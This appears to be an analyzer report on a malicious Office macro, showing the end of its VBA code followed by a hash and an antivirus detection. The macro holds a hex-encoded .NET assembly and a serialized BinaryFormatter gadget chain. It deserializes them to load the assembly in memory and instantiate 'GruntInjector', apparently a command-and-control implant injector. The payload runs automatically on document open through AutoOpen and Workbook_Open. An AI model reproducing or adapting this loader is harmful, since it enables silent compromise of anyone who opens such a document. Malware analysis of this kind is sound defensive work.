    L2 = L2 & "4C005100430052004A004100640042006D005100590073004D0053"
    L2 = L2 & "00450053004C005100420078004A004100640042004200"
    L2 = L2 & "690077005300490053004100480051005100560068004200570046"
    L2 = L2 & "0035005A0057006B0046005900510056006C0042005700"
    L2 = L2 & "6B00690044003700430042004200550076002F0067005700450046"
    L2 = L2 & "005A0057006B0069004C00450075006C0050002F002F00"
    L2 = L2 & "2F002F00580057006F004100530062003500330061005700350070"
    L2 = L2 & "0062006D00560030004100450046005700530059006E00"
    L2 = L2 & "6D00540049006E0078005100620070004D0064007900590048002F"
    L2 = L2 & "003900560049004D0063006C0049004D0064004A004E00"
    L2 = L2 & "4D00630042004E004D0063006C0042005500450046005100510062"
    L2 = L2 & "006F00360056006E006D006E002F003900580070006B00"
    L2 = L2 & "7700410041004100460070004900690063004600420075004C0073"
    L2 = L2 & "0042004100410042004E004D0063006C00420055005500"
    L2 = L2 & "46005200610067004E0042005500550047003600560034006D0066"
    L2 = L2 & "00780076002F005600360033006C006200530049006E00"
    L2 = L2 & "42005300440048005300530059006E0059005400540048004A0055"
    L2 = L2 & "006D00670041004D0073004300450055006C004A004200"
    L2 = L2 & "75007500740056004C006A0076002F003100550069004A0078006B"
    L2 = L2 & "0069004400770031004200710043006C00390049006900"
    L2 = L2 & "6600470036004800770041004100410047006F0041006100490041"
    L2 = L2 & "007A004100410042004A00690065004200420075005100"
    L2 = L2 & "51004100410041004200420075006E00560047006E006F0062002F"
    L2 = L2 & "003100550069004A003800550069004A0032006B006E00"
    L2 = L2 & "4800770050002F002F002F002F0039004E004D0063006C00530055"
    L2 = L2 & "006B00470036004C0051005900590065002F002F005600"
    L2 = L2 & "680063004100500068005A003000420041004100420049002F0038"
    L2 = L2 & "0038005000680049007700420041004100440072007300"
    L2 = L2 & "2B006E006B004100510041004100360049004C002F002F002F0038"
    L2 = L2 & "007600590032003900740063004700390075005A005700"
    L2 = L2 & "350030006300790039006B00580032004E00760062006D005A0070"
    L2 = L2 & "005A00790035007400630044004D0041006E0064007800"
    L2 = L2 & "640062004F003500620046006A0071006A00530055007500740039"
    L2 = L2 & "006D00420069006E00560031003600630063004F006C00"
    L2 = L2 & "75006F006A006D0057003000780077003100780054004D0043006C"
    L2 = L2 & "006800590032005500620038005300460050006C006800"
    L2 = L2 & "3400650053006B005100580031006E004100710073005A005A0032"
    L2 = L2 & "006300760077006C006500410045004E00760062006D00"
    L2 = L2 & "35006C0059003300520070006200320034003600490047004E0073"
    L2 = L2 & "00620033004E006C004400510070004200590032004E00"
    L2 = L2 & "6C006300480051003600490047006C0074005900570064006C004C"
    L2 = L2 & "0079006F004E0043006C0056007A005A00580049007400"
    L2 = L2 & "5100570064006C0062006E0051003600490045003100760065006D"
    L2 = L2 & "006C00730062004700450076004E005300340077004900"
    L2 = L2 & "4300680058006100570035006B006200330064007A004900450035"
    L2 = L2 & "00550049004400450077004C006A004100370049004600"
    L2 = L2 & "6400700062006A00590030004F007900420034004E006A00510070"
    L2 = L2 & "0049004500460077006300470078006C00560032005600"
    L2 = L2 & "6900530032006C0030004C007A0055007A004E00790034007A004E"
    L2 = L2 & "00690041006F0053003000680055005400550077007300"
    L2 = L2 & "490047007800700061003200550067005200320056006A00610032"
    L2 = L2 & "0038007000490045004E006F0063006D00390074005A00"
    L2 = L2 & "5300380030004D006900340077004C006A0049007A004D00540045"
    L2 = L2 & "0075004D0054004D003100490046004E0068005A006D00"
    L2 = L2 & "4600790061005300380031004D007A00630075004D007A00590067"
    L2 = L2 & "005200570052006E005A005300380078004D0069003400"
    L2 = L2 & "79004E00440059004E004300670044004C00720036004E0049007A"
    L2 = L2 & "0062002F006D0077006F0067006300620065006B006E00"
    L2 = L2 & "5A00390043006B004C006500420044006D005600660079004F0033"
    L2 = L2 & "004E005A007A004B006700560034003600310034003500"
    L2 = L2 & "4F005300430059007200430049006A004600680051005600420044"
    L2 = L2 & "00630066004E0031006E005200340077004B0052003100"
    L2 = L2 & "780074006C0049007200580037003600710072006A004900680045"
    L2 = L2 & "004400320031007A006E00540075004700760041006800"
    L2 = L2 & "4600490064006400510049004600520058006F0077006F00540042"
    L2 = L2 & "0053004D00430039006900700031006400750065003100"
    L2 = L2 & "62003500590044002B0061005600380053006B004D00530030006C"
    L2 = L2 & "004B00410039004E005200520046004D00450039003700"
    L2 = L2 & "54004A0031003200460052006F004E00460068004B002B00430064"
    L2 = L2 & "0079005800470035004C007700350056002F0071005100"
    L2 = L2 & "4200420076007600430031006F006C0062002F0031005500670078"
    L2 = L2 & "00790062006F0041004100450041004100510062006700"
    L2 = L2 & "41004500410041004100510062006C004100410041004100410051"
    L2 = L2 & "006200700059007000460050006C002F00390056004900"
    L2 = L2 & "6B0031004E005400530049006E006E00530049006E007800530049"
    L2 = L2 & "006E006100510062006700410049004100410041005300"
    L2 = L2 & "59006E003500510062006F0053006C006F006E0069002F00390056"
    L2 = L2 & "0049006700380051006700680063004200300074006D00"
    L2 = L2 & "61004C004200300067004200770034005800410064006400640059"
    L2 = L2 & "0057004600680049004200510041004100410041004200"
    L2 = L2 & "510077002B0068002F002F0066002F002F00590032005600750064"
    L2 = L2 & "0048004A00680062004700450074006100320046006A00"
    L2 = L2 & "65006D003100680063006E004E0072006100530035007700620041"
    L2 = L2 & "00410047004C0053007700680000000000D2AF4D5C79F9"
    L2 = L2 & "C2408A5995FA0F3FF09B0008B77A5C561934E08908B03F5F7F11D5"
    L2 = L2 & "0A3A0320000102060907000318111C02080A0005021818"
    L2 = L2 & "1D0508101806000318181818080005181818080909090005021818"
    L2 = L2 & "0809100912000A020E0E1818021110180E101118101114"
    L2 = L2 & "04000109180306110C04FF0F1F0004010000000402000000040800"
    L2 = L2 & "0000041000000004200000000440000000048000000004"
    L2 = L2 & "000100000400020000040004000004001000000400001000030611"
    L2 = L2 & "1004000000000400000001040000000404000000080400"
    L2 = L2 & "000400040000000204040000000400000800040000010002061802"
    L2 = L2 & "060E0206060206080306111C052001011215050001011D"
    L2 = L2 & "0E04200101080420010102050100010000030000080500011D050E"
    L2 = L2 & "050001122D080420001231052001123508032000081907"
    L2 = L2 & "120E0E0E0E1D05111811140218180209122D123118181802042001"
    L2 = L2 & "010E030000010520010111490801000800000000001E01"
    L2 = L2 & "000100540216577261704E6F6E457863657074696F6E5468726F77"
    L2 = L2 & "7301000000BC4500000000000000000000DE4500000020"
    L2 = L2 & "00000000000000000000000000000000000000000000D045000000"
    L2 = L2 & "00000000000000000000000000000000005F436F72446C"
    L2 = L2 & "6C4D61696E006D73636F7265652E646C6C0000000000FF25002040"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000100100000001800008000000000000000000000000000"
    L2 = L2 & "0001000100000030000080000000000000000000000000"
    L2 = L2 & "000001000000000048000000586000003C02000000000000000000"
    L2 = L2 & "003C0234000000560053005F0056004500520053004900"
    L2 = L2 & "4F004E005F0049004E0046004F0000000000BD04EFFE0000010000"
    L2 = L2 & "0000000000000000000000000000003F00000000000000"
    L2 = L2 & "040000000200000000000000000000000000000044000000010056"
    L2 = L2 & "0061007200460069006C00650049006E0066006F000000"
    L2 = L2 & "00002400040000005400720061006E0073006C006100740069006F"
    L2 = L2 & "006E00000000000000B0049C0100000100530074007200"
    L2 = L2 & "69006E006700460069006C00650049006E0066006F000000780100"
    L2 = L2 & "0001003000300030003000300034006200300000002C00"
    L2 = L2 & "02000100460069006C006500440065007300630072006900700074"
    L2 = L2 & "0069006F006E0000000000200000003000080001004600"
    L2 = L2 & "69006C006500560065007200730069006F006E000000000030002E"
    L2 = L2 & "0030002E0030002E003000000034000900010049006E00"
    L2 = L2 & "7400650072006E0061006C004E0061006D00650000007100750065"
    L2 = L2 & "0033002E0064006C006C00000000002800020001004C00"
    L2 = L2 & "6500670061006C0043006F00700079007200690067006800740000"
    L2 = L2 & "00200000003C00090001004F0072006900670069006E00"
    L2 = L2 & "61006C00460069006C0065006E0061006D00650000007100750065"
    L2 = L2 & "0033002E0064006C006C00000000003400080001005000"
    L2 = L2 & "72006F006400750063007400560065007200730069006F006E0000"
    L2 = L2 & "0030002E0030002E0030002E0030000000380008000100"
    L2 = L2 & "41007300730065006D0062006C0079002000560065007200730069"
    L2 = L2 & "006F006E00000030002E0030002E0030002E0030000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000004000000C000000F035000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000001"
    L2 = L2 & "0D000000040000000917000000090600000009160000"
    L2 = L2 & "00061A0000002753797374656D2E5265666C656374696F6E2E417373"
    L2 = L2 & "656D626C79204C6F616428427974655B5D29080000000A0B"

    Dim stm As Object, fmt As Object, al As Object
    Set al = CreateObject("System.Collections.ArrayList")
    
    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    
    Set stm = CreateObject("System.IO.MemoryStream")


    Dim dec
    dec = LOOOL1(L2)

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set n = fmt.SurrogateSelector
    Set d = fmt.Deserialize_2(stm)
    al.Add n

    Set b = d.DynamicInvoke(al.ToArray())
    Set o = b.CreateInstance("GruntInjector.GruntInjector")
End Function

Sub AutoOpen()
    L10
End Sub

Sub Workbook_Open()
    L10
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 98816 bytes
SHA-256: 8237b749987612f736e63b7f6d9df25697d3418894bcaa4f695592003ad16a47
Detection
ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.